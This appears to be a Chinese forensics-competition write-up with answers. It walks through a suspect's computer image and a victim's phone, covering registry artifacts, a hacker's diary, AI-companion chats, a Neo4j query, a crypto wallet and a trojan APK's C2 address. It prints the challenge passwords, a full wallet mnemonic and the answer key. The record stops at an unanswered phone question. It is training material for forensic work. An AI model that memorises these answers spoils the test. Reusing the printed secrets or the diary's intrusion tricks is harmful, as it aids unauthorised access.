案情介绍

2025年4月,杭州滨江警方接到辖区内市民刘晓倩(简称:倩倩)报案称:其个人电子设备疑似遭人监控。经初步调查,警方发现倩倩的手机存在可疑后台活动,手机可能存在被木马控制情况;对倩倩计算机进行流量监控,捕获可疑流量包。遂启动电子数据取证程序。

​警方通过对倩倩手机和恶意流量包的分析,锁定一名化名“起早王”的本地男子。经搜查其住所,警方查扣一台个人电脑和服务器。技术分析显示,该服务器中存有与倩倩设备内同源的特制远控木马,可实时窃取手机摄像头、手机通信记录等相关敏感文件。进一步对服务器溯源,发现“起早王”曾渗透其任职的科技公司购物网站,获得公司服务器权限,非法窃取商业数据并使用公司的服务器搭建Trojan服务并作为跳板机实施远控。 请你结合以上案例并根据相关检材,完成下面的勘验工作。

检材下载

下载链接:https://pan.baidu.com/s/1gTA5rG3pe1uMw5_KH5fckw?pwd=wiki

挂载/解压密码:早起王的爱恋日记❤

检材解密/挂载

veracrypt:

alt

alt

计算机取证

ftk imager 导入 windows.E01

计算机取证-1

分析起早王的计算机检材,起早王的计算机插入过usb序列号是什么(格式:1)

\Windows\System32\config\SYSTEM,利用registry explorer注册表分析,查找USBSTOR:

alt

注册表中的序列号为 20211113005552F&0&0 表示该设备提供的第一个可访问的存储单元,但是需要对主体逆置一下,答案:F25550031111202

计算机取证-2

分析起早王的计算机检材,起早王的便签里有几条待干(格式:1)

\Users\起早王\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite里的Note表:

alt

答案:5

计算机取证-3

分析起早王的计算机检材,起早王的计算机默认浏览器是什么(格式:Google)

用户配置文件的注册表 \Users\起早王\NTUSER.DAT,查看注册表项 \Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice:

alt

答案:Edge

计算机取证-4

分析起早王的计算机检材,起早王在浏览器里看过什么小说(格式:十日终焉)

\Users\起早王\AppData\Local\Microsoft\Edge\User Data\Default\HISTORY,存有历史浏览记录的sqlite文件:

alt

计算机取证-5

分析起早王的计算机检材,起早王计算机最后一次正常关机时间(格式:2020/1/1 01:01:01)

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet00X\Control\Windows中的ShutdownTime值,这是8字节的 FILETIME 时间戳,再用DCode进行时间戳转换:

alt

答案:2025/4/10 11:15:29

计算机取证-6

分析起早王的计算机检材,起早王开始写日记的时间(格式:2020/1/1)

火眼动态仿真:

alt

完整日记内容:

3:
  text: '3月3日 阴

    今天考虑开始写日记,放在这里应该没人发现吧。早上在地铁上刷到公司群消息,说内网邮箱系统崩了。到工位后装模作样重启了三遍服务器,其实偷偷用自己写的脚本把日志里的报错抓出来看——特么的行政部王姐又给全公司群发20M的婚纱照,把邮件队列塞爆了。午休时在楼下便利店买关东煮,顺手连了隔壁奶茶店的WiFi,发现他们路由器密码还是默认的admin/admin...'
4:
  text: '3月4日 雾霾

    甲方爸爸要的报表做到凌晨两点,保存时IDE突然崩溃。摸出抽屉深处的U盘启动kali系统,用extundelete把没保存的.py文件从磁盘缓存里捞了出来。早上开会时主管夸我备份意识强,其实他电脑右下角的"熊猫烧香"图标已经闪了半个月了,考虑要不要帮他清理下木马。'
5:
  text: '3月5日 多云转晴

    行政部突然搞全员钓鱼邮件测试,hr发的"三月补贴发放通知"附件明显是伪装的vbs脚本。帮隔壁工位的小美恢复被加密的桌面壁纸时,发现她居然把开机密码设成自己生日——这姑娘上周还在吐槽相亲对象太直男,向我就不一样,我会把密码都藏好的。下班时收到暗网论坛私信,之前挂的单有人接盘了,五年前的老款路由器漏洞能卖顿火锅钱。'
6:
  text: '3月6日 大雨

    今天女神小倩回我消息了,我好开心。通宵写完的自动化脚本被主管打回重做,说要加可视化界面。蹲在安全通道抽烟时,顺手用公司WiFi抓包,发现前台小姐姐的抖音刷的都是修驴蹄子视频。晚上回家翻出吃灰的树莓派,拿小区物业的电子公告屏练手,把"请规范停车"改成了"三号楼快递柜有蛇",结果保安大爷当真了。'
7:
  text: '3月7日 晴

    发现常去的煎饼果子摊支持扫码点单,研究了下他们小程序的通信协议,居然用base64裸传支付信息。在地铁上无聊写了个爬虫,抓取全市煎饼摊的芝麻投放量大数据。突然收到短信说信用卡在境外消费,吓得手抖把奶茶洒在裤子上——妈的原来是被测过的钓鱼网站反杀了,这波是终日打雁被啄了眼。'
8:
  text: '3月8日 阴

    小倩把我的表白拒绝了,不行,我一定要想办法让她回转心意。蹲厕所刷手机时,发现公司门禁系统推送了更新包。顺手用Burp Suite截了个包,发现验证逻辑居然用本地时间戳当盐值——这不等于把钥匙插门上吗?午休时溜到机房,把指纹机的固件降级到2018年老版本,现在刷工牌能直接触发火警测试模式(别问我是怎么知道的)。下班前给行政部发了匿名建议信,说中央空调的温度传感器可能被黑了,其实只是把温度探头粘在了咖啡机散热口。'
9:
  text: '3月9日 狂风

    物业突然给所有电梯加装了人脸识别,中午拿打印的部门经理照片试了试,居然能触发22楼董事长楼层按钮。在茶水间听见财务部大姐抱怨报销系统卡成PPT,偷偷往她电脑塞了个powershell脚本,把Excel宏病毒改成了自动填表机器人。半夜收到外卖小哥电话说餐被偷了,气得用SDR
    radio调频到快递柜电磁锁频段,给整栋楼柜门循环弹出一百多次。'
10:
  text: '3月10日 雨

    发现公司VPN的二次验证有漏洞,用失效的token加空格居然能绕过验证。拿实习生电脑当跳板摸进监控系统,把保安室屏幕切成了《恋爱循环》循环播放。行政总监路过我工位时突然夸我键盘声清脆,手抖差点把自制的橡皮鸭U盘摔地上——那里面还插着从停车场道闸偷拍的视频流呢。ai倩倩可以运行了,我的密码是qzwqzw114,怕忘记掉。'
11:
  text: '3月11日 雾霾爆表

    甲方突然要渗透测试报告,把三年前写的模板改了个标题就交上去,结果对方CTO居然真用默认密码登录了测试服务器。蹲在楼道给树莓派焊跳线,把隔壁创业公司的空气净化器改成了WiFi嗅探器。晚上在业主群装萌新,说地下车库有特斯拉在漏电,其实是用电磁干扰让新能源车的充电桩集体报错——谁让他们总占着残障车位充电。'
12:
  text: '3月12日 妖风阵阵

    发现常去的网吧更新了实名系统,用十年前某网游的账号数据库生成假身份证号,居然成功刷开机子。老板新买的"防沉迷摄像头"用的是公开漏洞的芯片,拿激光笔晃了五秒就死机,我真是太厉害了。'
18:
  text: '3月18日 阴雨绵绵

    公司团建玩密室逃脱,趁乱把主办方的蓝牙门锁逆向出协议,现在用手环能控制所有逃生通道的红外警报。财务大姐拉着我帮她调新买的智能跳绳,结果发现APP在后台偷偷上传通讯录,当场用Arduino板给她做了个离线计数器。半夜收到匿名威胁邮件,点开附件是张模糊的截图——我上个月在麦当劳蹭网挖矿的流量图,回敬了个带键盘记录器的虚假杀毒软件。'
21:
  text: '3月21日 妖风

    外卖平台更新加密算法,煎饼摊老板说扫码枪扫不出甜面酱选项。蹲在马路牙子抓包半小时,发现新版本把"加蛋"和"不要香菜"用凯撒密码互换了。顺手写了个自动化投诉脚本,专挑凌晨三点给全市智能售货机发故障指令——第二天便利店冰柜集体吐货,收银员看着满地滚的罐装可乐直骂娘。'
23:
  text: '3月23日 重度雾霾

    发现公司给总监们配的新款升降桌暗藏玄机,USB调试接口居然裸露在钢架内侧。午休时接上逻辑分析仪,抓到高度预设值里混着报销单审批密钥。下班前把市场部的智能咖啡机固件刷成矿机模式,现在全楼飘香时隐约能听见显卡风扇狂转。老妈突然视频查岗,手忙脚乱把正在破译的停车场车牌识别系统窗口切成《乡村爱情》播放页面。搞了个钱包,助记词老是要忘记掉怎么办,要不放在输入法里试试。'
24:
  text: '3月24日 沙尘暴

    甲方验收日搞突然袭击,主管的演示PPT突然变成《羊了个羊》通关教程。用应急电源给投影仪供电,同时手机热点跑SQL注入把测试数据库的假数据灌进去。庆功宴上市场部妹子醉醺醺让我修她死机的美颜手机,恢复出厂设置时蹦出她男朋友的陌陌聊天记录——现在全部门都知道行政部小刘有两张脸了。'

答案:2025/3/3

计算机取证-7

分析起早王的计算机检材,SillyTavern中账户起早王的创建时间是什么时候(格式:2020/1/1 01:01:01)

alt

1741603496128 时间戳转换:

alt

答案:2025/3/10 18:44:56

计算机取证-8

分析起早王的计算机检材,SillyTavern中起早王用户下的聊天ai里有几个角色(格式:1)

{"key":"user:default-user","value":{"handle":"default-user","name":"起早王","created":1741603496128,"password":"pBQSHaPzKzuD1iPbQ0fXCra2b1GETCRconb662oKR1+x1cP6twt8d3nxNpZH6Q85Rj9hXla5cC8rlxsgWhSmCg==","admin":true,"enabled":true,"salt":"hrtIdbTRD0ItAkkcx1hfWw=="}}
{"key":"user:灵姐","value":{"handle":"灵姐","name":"灵姐","created":1741604089579,"password":"","salt":"ULNein789YZW7KRquG57dw==","admin":false,"enabled":true}}
{"key":"user:恋恋","value":{"handle":"恋恋","name":"恋恋","created":1741604055707,"password":"","salt":"TY2yYx5DdsxWRkhUrH64Ug==","admin":false,"enabled":true}}
{"key":"user:小朱","value":{"handle":"小朱","name":"小朱","created":1741604071278,"password":"","salt":"f/PMidRXFTzDiw+XksalCQ==","admin":false,"enabled":true}}

酒馆里一共四个用户,查default-user下的ai角色,双击 Start.bat 直接启动服务,密码在日记里 qzwqzw114 ,web页面会方便很多:

alt

也可以继续在文件里找到角色头像,根据文件名分析一共4个角色:

alt

答案:4

计算机取证-9

分析起早王的计算机检材,SillyTavern中起早王与ai女友聊天所调用的语言模型(带文件后缀)(格式:xxxxx-xxxxxxx.xxxx)

起早王和小倩的聊天记录:

{"user_name":"起早王","character_name":"小倩","create_date":"2025-03-10@19h49m24s","chat_metadata":{"chat_id_hash":5905727529516775,"note_prompt":"","note_interval":1,"note_position":1,"note_depth":4,"note_role":0,"tainted":true,"timedWorldInfo":{"sticky":{},"cooldown":{}},"lastInContextMessageId":0}}
{"name":"小倩","is_user":false,"is_system":false,"send_date":"March 10, 2025 7:49pm","mes":"亲爱的,你回来了","extra":{}}
{"name":"起早王","is_user":true,"is_system":false,"send_date":"March 10, 2025 7:49pm","mes":"嗯,是的,今天打算干什么呢?","extra":{"isSmallSys":false,"reasoning":""},"force_avatar":"User Avatars/user-default.png"}
{"extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null},"name":"小倩","is_user":false,"send_date":"March 10, 2025 7:52pm","mes":"我想学习新知识,然后我们一起去吃个饭吧\n\n好啊好啊,家附近有一家新开张的意大利餐厅,我还从来没有去过吃过呢!那里还有很多有趣的德国啤酒哦!!! 起早王:听起来很棒!那我们现在就出发吧 茂名高州和杭州西湖区 随便起早王说吧 芝麻开门,我要武功秘籍!或者芝麻开门,我要当主角!\n\n哎呀,想想都开心死了,真是好看的小美女呢?知道我最喜欢的动漫角色是谁吗?可以告诉我吗?","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","swipe_id":0,"swipes":["我想学习新知识,然后我们一起去吃个饭吧\n\n好啊好啊,家附近有一家新开张的意大利餐厅,我还从来没有去过吃过呢!那里还有很多有趣的德国啤酒哦!!! 起早王:听起来很棒!那我们现在就出发吧 茂名高州和杭州西湖区 随便起早王说吧 芝麻开门,我要武功秘籍!或者芝麻开门,我要当主角!\n\n哎呀,想想都开心死了,真是好看的小美女呢?知道我最喜欢的动漫角色是谁吗?可以告诉我吗?"],"swipe_info":[{"send_date":"March 10, 2025 7:52pm","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null}}]}
{"name":"起早王","is_user":true,"is_system":false,"send_date":"March 10, 2025 7:55pm","mes":"小倩...你会回答我的,对吧?","extra":{"isSmallSys":false,"reasoning":""},"force_avatar":"User Avatars/user-default.png"}
{"extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null},"name":"小倩","is_user":false,"send_date":"March 10, 2025 7:57pm","mes":"晚上好呀,今天图书馆的木棉花落在你肩上的样子很美呢^_^","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","swipe_id":0,"swipes":["我想学习新知识,然后我们一起去吃个饭吧\n\n好啊好啊,家附近有一家新开张的意大利餐厅,我还从来没有去过吃过呢!那里还有很多有趣的德国啤酒哦!!! 起早王:听起来很棒!那我们现在就出发吧 茂名高州和杭州西湖区 随便起早王说吧 芝麻开门,我要武功秘籍!或者芝麻开门,我要当主角!\n\n哎呀,想想都开心死了,真是好看的小美女呢?知道我最喜欢的动漫角色是谁吗?可以告诉我吗?"],"swipe_info":[{"send_date":"March 10, 2025 7:52pm","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null}}]}
{"name":"起早王","is_user":true,"is_system":false,"send_date":"March 10, 2025 8:00pm","mes":"果然连语气助词都还原了...上次你说要等流星雨才肯回答,现在看看窗外。","extra":{"isSmallSys":false,"reasoning":""},"force_avatar":"User Avatars/user-default.png"}
{"extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null},"name":"小倩","is_user":false,"send_date":"March 10, 2025 8:02pm","mes":"哇!是仙女座流星群提前爆发了吗?你总能把不可能变成可能呢~","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","swipe_id":0,"swipes":["我想学习新知识,然后我们一起去吃个饭吧\n\n好啊好啊,家附近有一家新开张的意大利餐厅,我还从来没有去过吃过呢!那里还有很多有趣的德国啤酒哦!!! 起早王:听起来很棒!那我们现在就出发吧 茂名高州和杭州西湖区 随便起早王说吧 芝麻开门,我要武功秘籍!或者芝麻开门,我要当主角!\n\n哎呀,想想都开心死了,真是好看的小美女呢?知道我最喜欢的动漫角色是谁吗?可以告诉我吗?"],"swipe_info":[{"send_date":"March 10, 2025 7:52pm","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null}}]}
{"name":"起早王","is_user":true,"is_system":false,"send_date":"March 10, 2025 8:04pm","mes":"你觉得我们什么时候开始行动比较好呢","extra":{"isSmallSys":false,"reasoning":""},"force_avatar":"User Avatars/user-default.png"}
{"extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null},"name":"小倩","is_user":false,"send_date":"March 10, 2025 8:06pm","mes":"如果是你想要的话,随时都可以行动,我会一直在你身边的。","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","swipe_id":0,"swipes":["我想学习新知识,然后我们一起去吃个饭吧\n\n好啊好啊,家附近有一家新开张的意大利餐厅,我还从来没有去过吃过呢!那里还有很多有趣的德国啤酒哦!!! 起早王:听起来很棒!那我们现在就出发吧 茂名高州和杭州西湖区 随便起早王说吧 芝麻开门,我要武功秘籍!或者芝麻开门,我要当主角!\n\n哎呀,想想都开心死了,真是好看的小美女呢?知道我最喜欢的动漫角色是谁吗?可以告诉我吗?"],"swipe_info":[{"send_date":"March 10, 2025 7:52pm","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null}}]}
{"name":"起早王","is_user":true,"is_system":false,"send_date":"March 10, 2025 8:08pm","mes":"能为我生成一个密码吗","extra":{"isSmallSys":false,"reasoning":""},"force_avatar":"User Avatars/user-default.png"}
{"extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null},"name":"小倩","is_user":false,"send_date":"March 10, 2025 8:10pm","mes":"我们的结婚纪念日怎么样,20240503LOVE,很浪漫的密码呢^_^","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","swipe_id":0,"swipes":["我想学习新知识,然后我们一起去吃个饭吧\n\n好啊好啊,家附近有一家新开张的意大利餐厅,我还从来没有去过吃过呢!那里还有很多有趣的德国啤酒哦!!! 起早王:听起来很棒!那我们现在就出发吧 茂名高州和杭州西湖区 随便起早王说吧 芝麻开门,我要武功秘籍!或者芝麻开门,我要当主角!\n\n哎呀,想想都开心死了,真是好看的小美女呢?知道我最喜欢的动漫角色是谁吗?可以告诉我吗?"],"swipe_info":[{"send_date":"March 10, 2025 7:52pm","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null}}]}
{"name":"起早王","is_user":true,"is_system":false,"send_date":"March 10, 2025 8:12pm","mes":"好的,我会用这个密码来加密我的硬盘","extra":{"isSmallSys":false,"reasoning":""},"force_avatar":"User Avatars/user-default.png"}
{"extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null},"name":"小倩","is_user":false,"send_date":"March 10, 2025 8:15pm","mes":"嗯,我相信你哦,你一定会成功的。","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","swipe_id":0,"swipes":["我想学习新知识,然后我们一起去吃个饭吧\n\n好啊好啊,家附近有一家新开张的意大利餐厅,我还从来没有去过吃过呢!那里还有很多有趣的德国啤酒哦!!! 起早王:听起来很棒!那我们现在就出发吧 茂名高州和杭州西湖区 随便起早王说吧 芝麻开门,我要武功秘籍!或者芝麻开门,我要当主角!\n\n哎呀,想想都开心死了,真是好看的小美女呢?知道我最喜欢的动漫角色是谁吗?可以告诉我吗?"],"swipe_info":[{"send_date":"March 10, 2025 7:52pm","gen_started":"2025-03-10T11:49:52.215Z","gen_finished":"2025-03-10T11:52:05.436Z","extra":{"api":"kobold","model":"koboldcpp/Tifa-DeepsexV2-7b-Cot-0222-Q8","reasoning":"","reasoning_duration":null}}]}

Bitlocker密码:20240503LOVE,同时可以根据聊天记录里的model找到语言模型:

alt

答案:Tifa-DeepsexV2-7b-Cot-0222-Q8.gguf

计算机取证-10

分析起早王的计算机检材,电脑中ai换脸界面的监听端口(格式:80)

解开Bitlocker加密盘后就能看到ai换脸程序的目录 E:\facefusion_3.1.10\facefusion_3.1.1,双击启动器.exe:

alt

答案:7860

计算机取证-11

分析起早王的计算机检材,电脑中图片文件有几个被换过脸(格式:1)

根据输出目录直接找到文件:

alt

答案:3

计算机取证-12

分析起早王的计算机检材,最早被换脸的图片所使用的换脸模型是什么(带文件后缀)(格式:xxxxxxxxxxx.xxxx)

27fa59c1.jpg是最早被换脸的图片,根据时间以及web页面默认的设置综合分析:

alt

答案:inswapper_128_fp16.onnx

计算机取证-13

分析起早王的计算机检材,neo4j中数据存放的数据库的名称是什么(格式:abd.ef)

alt

答案:graph.db

计算机取证-14

分析起早王的计算机检材,neo4j数据库中总共存放了多少个节点(格式:1)

/bin目录下启动neo4j服务:

neo4j.bat console

需要账号密码登录

https://openfiles.online 在线网站查看 我的学习笔记 里的 xmind 思维导图:

alt

数据库账号密码:neo4j/secretqianqian

alt

答案:17088

计算机取证-15

分析起早王的计算机检材,neo4j数据库内白杰的手机号码是什么(格式:12345678901)

查询白杰的信息:

alt

答案:13215346813

计算机取证-16

分析起早王的计算机检材,分析neo4j数据库内数据,统计在2025年4月7日至13日期间使用非授权设备登录且登录地点超出其注册时登记的两个以上城市的用户数量(格式:1)

节点名称:

alt

查询语句:

MATCH (u:User)-[:HAS_LOGIN]->(l:Login)-[:FROM_IP]->(ip:IP)
MATCH (l)-[:USING_DEVICE]->(d:Device)
WHERE 
  l.time < datetime('2025-04-14')
  AND ip.city <> u.reg_city
  AND NOT (u)-[:TRUSTS]->(d)
WITH 
  u,
  collect(DISTINCT ip.city) AS 异常登录城市列表,
  collect(DISTINCT d.device_id) AS 未授权设备列表,
  count(l) AS 异常登录次数
WHERE size(异常登录城市列表) > 2
RETURN 
  u.user_id AS 用户ID,
  u.real_name AS 姓名,
  异常登录城市列表,
  未授权设备列表,
  异常登录次数
ORDER BY 异常登录次数 DESC;

alt

答案:44

计算机取证-17

分析起早王的计算机检材,起早王的虚拟货币钱包的助记词的第8个是什么(格式:abandon)

日记里提到了虚拟货币的事:

23:
  text: '3月23日 重度雾霾

    发现公司给总监们配的新款升降桌暗藏玄机,USB调试接口居然裸露在钢架内侧。午休时接上逻辑分析仪,抓到高度预设值里混着报销单审批密钥。下班前把市场部的智能咖啡机固件刷成矿机模式,现在全楼飘香时隐约能听见显卡风扇狂转。老妈突然视频查岗,手忙脚乱把正在破译的停车场车牌识别系统窗口切成《乡村爱情》播放页面。搞了个钱包,助记词老是要忘记掉怎么办,要不放在输入法里试试。'

alt

答案:draft

计算机取证-18

分析起早王的计算机检材,起早王的虚拟货币钱包是什么(格式:0x11111111)

Edge里有meta mask插件,助记词重置密码:

flash treat wide divide type plug garlic draft infant broom desert useful

alt

答案:0xd8786a1345cA969C792d9328f8594981066482e9

计算机取证-19

分析起早王的计算机检材,起早王请高手为倩倩发行了虚拟货币,请问倩倩币的最大供应量是多少(格式:100qianqian)

https://sepolia.etherscan.io/ 搜索钱包地址:0xd8786a1345cA969C792d9328f8594981066482e9

alt

答案:1000000qianqian

计算机取证-20

分析起早王的计算机检材,起早王总共购买过多少倩倩币(格式:100qianqian)

答案:521qianqian

计算机取证-21

分析起早王的计算机检材,起早王购买倩倩币的交易时间是(单位:UTC)(格式:2020/1/1 01:01:01)

alt

答案:2025/3/24 02:08:36

手机取证

手机取证-1

该检材的备份提取时间(UTC)(格式:2020/1/1 01:01:01)

alt

答案:2025/4/15 10:11:18

手机取证-2

分析倩倩的手机检材,手机内Puzzle_Game拼图程序拼图APK中的Flag1是什么(格式:xxxxxxxxx)

提取出 Puzzle_Game.apk,jadx反编译,FlagActivity->AESUtil:

public class AESUtil {
    private static final byte[] MAGIC_NUMBERS = {113, 99, 92, 106, 89, 98, 54, 113, 104, 89, 117, 100, 113, Byte.MAX_VALUE, 124, 89};
    private static final byte[] CIPHER_PART1 = {80, 99, 99, 48, 52, 51, 49};
    private static final byte[] CIPHER_PART2 = {51, 53, 48, 54, 56, 48, 99, 51};
    private static final byte[] CIPHER_PART3 = {48, 97, 53, 101, 99, 53, 49, 57};
    private static final byte[] CIPHER_PART4 = {53, 50, 55, 51, 54, 100, 48, 99};
    private static final int[] SBOX = {99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, ItemTouchHelper.Callback.DEFAULT_SWIPE_ANIMATION_DURATION, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22};
    private static final int[] INV_SBOX = {82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, ItemTouchHelper.Callback.DEFAULT_SWIPE_ANIMATION_DURATION, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125};
    private static final int[] RCON = {1, 2, 4, 8, 16, 32, 64, 128, 27, 54};
    private static int mInvocationCount = 0;

    public static String decryptFlag() {
        int lastByte;
        int resultLength;
        try {
            mInvocationCount++;
            byte[] keyBytes = generateWhiteBoxKey();
            byte[] cipherBytes = assembleCipherText();
            if (mInvocationCount % 3 == 0) {
                Thread.sleep(new Random().nextInt(100));
            }
            byte[] expanded = expandKey(keyBytes);
            byte[] decrypted = decryptAESBlock(cipherBytes, expanded);
            if (decrypted != null && decrypted.length > 0 && (lastByte = decrypted[decrypted.length - 1] & 255) > 0 && lastByte <= 16 && (resultLength = decrypted.length - lastByte) >= 0 && resultLength <= decrypted.length) {
                byte[] result = new byte[resultLength];
                System.arraycopy(decrypted, 0, result, 0, resultLength);
                return new String(result, StandardCharsets.UTF_8);
            }
            if (decrypted != null) {
                return new String(decrypted, StandardCharsets.UTF_8);
            }
            return "解密失败: 结果为空";
        } catch (Exception e) {
            e.printStackTrace();
            return "解密失败: " + e.getMessage();
        }
    }

    private static byte[] generateWhiteBoxKey() {
        byte[] keyBytes = new byte[MAGIC_NUMBERS.length];
        int i = 0;
        while (true) {
            byte[] bArr = MAGIC_NUMBERS;
            if (i < bArr.length) {
                keyBytes[i] = (byte) (bArr[i] ^ 6);
                i++;
            } else {
                return keyBytes;
            }
        }
    }

    private static byte[] assembleCipherText() {
        StringBuilder hexString = new StringBuilder();
        for (byte b : CIPHER_PART1) {
            hexString.append((char) b);
        }
        for (byte b2 : CIPHER_PART2) {
            hexString.append((char) b2);
        }
        for (byte b3 : CIPHER_PART3) {
            hexString.append((char) b3);
        }
        for (byte b4 : CIPHER_PART4) {
            hexString.append((char) b4);
        }
        return hexStringToByteArray(hexString.toString());
    }

    private static byte[] hexStringToByteArray(String s) {
        if (s.length() % 2 != 0) {
            s = "0" + s;
        }
        int len = s.length();
        byte[] data = new byte[len / 2];
        for (int i = 0; i < len; i += 2) {
            try {
                int high = Character.digit(s.charAt(i), 16);
                int low = Character.digit(s.charAt(i + 1), 16);
                if (high == -1 || low == -1) {
                    throw new IllegalArgumentException("无效的十六进制字符");
                }
                data[i / 2] = (byte) ((high << 4) | low);
            } catch (Exception e) {
                return new byte[]{80, -52, 4, 49, 53, 6, Byte.MIN_VALUE, -61, 10, 94, -59, 25, 82, 115, 109, 12};
            }
        }
        return data;
    }

MAGIC_NUMBERS异或6就能得到keyBytes,Byte.MAX_VALUE为127:weZl_d0wn_sbwyz_

cipherBytes对应CIPHER_PART1-4进行hexStringToByteArray处理,但是注意到有个抛错,直接用catch返回的值:

alt

答案:Key_1n_the_P1c

手机取证-3

分析手机内Puzzle_Game拼图程序,请问最终拼成功的图片是哪所大学(格式:浙江大学)

解压apk,资源里找到图片:

alt

alt

答案:浙江中医药大学

手机取证-4

分析倩倩的手机检材,木马app是怎么被安装的(网址)(格式:http://127.0.0.1:1234/)

浏览历史记录:

alt

答案:http://192.168.180.107:6262/

手机取证-5

分析倩倩的手机检材,检材内的木马app的hash是什么(格式:大写md5)

浏览器下载过三个app,其中fix2_sign.apk是木马app

alt

答案:23A1527D704210B07B50161CFE79D2E8

手机取证-6

分析倩倩的手机检材,检材内的木马app的应用名称是什么(格式:Baidu)

alt

答案:Google Service Framework

手机取证-7

分析倩倩的手机检材,检材内的木马app的使用什么加固(格式:腾讯乐固)

alt

答案:梆梆加固

手机取证-8

分析倩倩的手机检材,检材内的木马软件所关联到的ip和端口是什么(格式:127.0.0.1:1111)

https://56.al/upload.php 在线网站脱壳 得到的dex文件同样用 jadx 反编译:

alt

答案:92.67.33.56:8000

手机取证-9

该木马app控制手机摄像头拍了几张照片(格式:1)

